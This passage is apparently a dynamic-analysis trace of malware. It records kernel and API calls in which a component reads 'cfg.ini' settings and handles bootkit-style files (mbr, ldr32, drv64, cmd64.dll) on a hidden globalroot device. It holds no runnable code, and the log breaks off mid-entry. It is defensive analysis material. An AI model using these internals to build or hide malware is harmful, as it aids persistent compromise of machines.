[0127.282] IdePortDispatch () returned 0x103 [0127.282] KeWaitForMutexObject () returned 0x0 [0127.282] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.282] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.282] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.282] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.282] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.282] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.282] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.282] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.282] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.282] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.282] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.282] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.282] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.282] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.282] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.282] KeLeaveCriticalRegion () [0127.282] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.282] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.282] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.282] KeEnterCriticalRegion () [0127.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.282] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.282] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.282] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.282] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.283] IdePortDispatch () returned 0x103 [0127.283] KeWaitForMutexObject () returned 0x0 [0127.283] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.283] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.283] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.283] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.283] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.283] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.283] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.283] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.283] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.283] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.283] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.283] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.283] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.283] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.283] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.283] KeLeaveCriticalRegion () [0127.283] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.283] ReleaseMutex (hMutex=0x100) returned 1 [0127.283] Sleep (dwMilliseconds=0x2bf20) [0127.297] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f11ebd0, dwHighDateTime=0x1d24fa4)) [0127.297] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.297] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.304] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.304] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.305] KeEnterCriticalRegion () [0127.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.305] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.305] IdePortDispatch () returned 0x103 [0127.305] KeWaitForMutexObject () returned 0x0 [0127.305] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.305] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.305] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.305] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.305] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.305] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5320 [0127.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.305] KeLeaveCriticalRegion () [0127.305] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.305] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.305] KeEnterCriticalRegion () [0127.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.305] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.305] KeLeaveCriticalRegion () [0127.305] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.305] KeEnterCriticalRegion () [0127.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.306] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.306] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.306] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.306] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.306] IdePortDispatch () returned 0x103 [0127.306] KeWaitForMutexObject () returned 0x0 [0127.306] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.306] KeLeaveCriticalRegion () [0127.306] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.306] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.306] KeEnterCriticalRegion () [0127.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.306] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bbc000 [0127.306] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.306] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.306] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.306] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.306] IdePortDispatch () returned 0x103 [0127.307] KeWaitForMutexObject () returned 0x0 [0127.307] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.307] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.307] IdePortDispatch () returned 0x103 [0127.307] KeWaitForMutexObject () returned 0x0 [0127.307] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.307] KeLeaveCriticalRegion () [0127.307] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.308] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.308] KeEnterCriticalRegion () [0127.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.308] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.308] KeLeaveCriticalRegion () [0127.308] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.308] KeEnterCriticalRegion () [0127.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.308] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.308] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.308] KeLeaveCriticalRegion () [0127.308] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.308] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.308] KeEnterCriticalRegion () [0127.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.308] ExFreePoolWithTag (P=0xfffffa8003bf5320, Tag=0x0) [0127.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.308] KeLeaveCriticalRegion () [0127.308] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.308] ReleaseMutex (hMutex=0xf0) returned 1 [0127.308] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.308] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.308] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.308] KeEnterCriticalRegion () [0127.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.308] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.308] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.309] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.309] IdePortDispatch () returned 0x103 [0127.309] KeWaitForMutexObject () returned 0x0 [0127.309] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.309] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.309] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.309] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.309] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.309] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f78b0 [0127.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.309] KeLeaveCriticalRegion () [0127.309] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.309] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.309] KeEnterCriticalRegion () [0127.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.309] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.309] KeLeaveCriticalRegion () [0127.309] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.309] KeEnterCriticalRegion () [0127.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.309] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.309] IdePortDispatch () returned 0x103 [0127.310] KeWaitForMutexObject () returned 0x0 [0127.310] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.310] KeLeaveCriticalRegion () [0127.310] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.310] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.310] KeEnterCriticalRegion () [0127.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.310] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bbd000 [0127.310] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.310] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.310] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.310] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.310] IdePortDispatch () returned 0x103 [0127.310] KeWaitForMutexObject () returned 0x0 [0127.310] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.310] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.311] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.311] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.311] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.311] IdePortDispatch () returned 0x103 [0127.311] KeWaitForMutexObject () returned 0x0 [0127.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.311] KeLeaveCriticalRegion () [0127.311] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.312] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.312] KeEnterCriticalRegion () [0127.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.312] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.312] KeLeaveCriticalRegion () [0127.312] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.312] KeEnterCriticalRegion () [0127.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.312] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.312] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.312] KeLeaveCriticalRegion () [0127.312] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.312] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.312] KeEnterCriticalRegion () [0127.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.312] ExFreePoolWithTag (P=0xfffffa800c4f78b0, Tag=0x0) [0127.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.312] KeLeaveCriticalRegion () [0127.312] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.312] ReleaseMutex (hMutex=0xf0) returned 1 [0127.312] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.312] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.312] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.312] KeEnterCriticalRegion () [0127.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.312] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.312] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.312] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.312] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.312] IdePortDispatch () returned 0x103 [0127.313] KeWaitForMutexObject () returned 0x0 [0127.313] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.313] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.313] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.313] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.313] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.313] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7760 [0127.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.313] KeLeaveCriticalRegion () [0127.313] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.313] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.313] KeEnterCriticalRegion () [0127.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.313] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.313] KeLeaveCriticalRegion () [0127.313] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.313] KeEnterCriticalRegion () [0127.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.313] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.313] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.313] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.313] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.313] IdePortDispatch () returned 0x103 [0127.313] KeWaitForMutexObject () returned 0x0 [0127.314] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.314] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.314] KeLeaveCriticalRegion () [0127.314] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.314] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.314] KeEnterCriticalRegion () [0127.314] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.314] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bbe000 [0127.314] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.314] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.314] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.314] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.314] IdePortDispatch () returned 0x103 [0127.314] KeWaitForMutexObject () returned 0x0 [0127.314] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.314] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.314] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.314] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.314] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.314] IdePortDispatch () returned 0x103 [0127.315] KeWaitForMutexObject () returned 0x0 [0127.315] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.315] KeLeaveCriticalRegion () [0127.315] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.315] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.315] 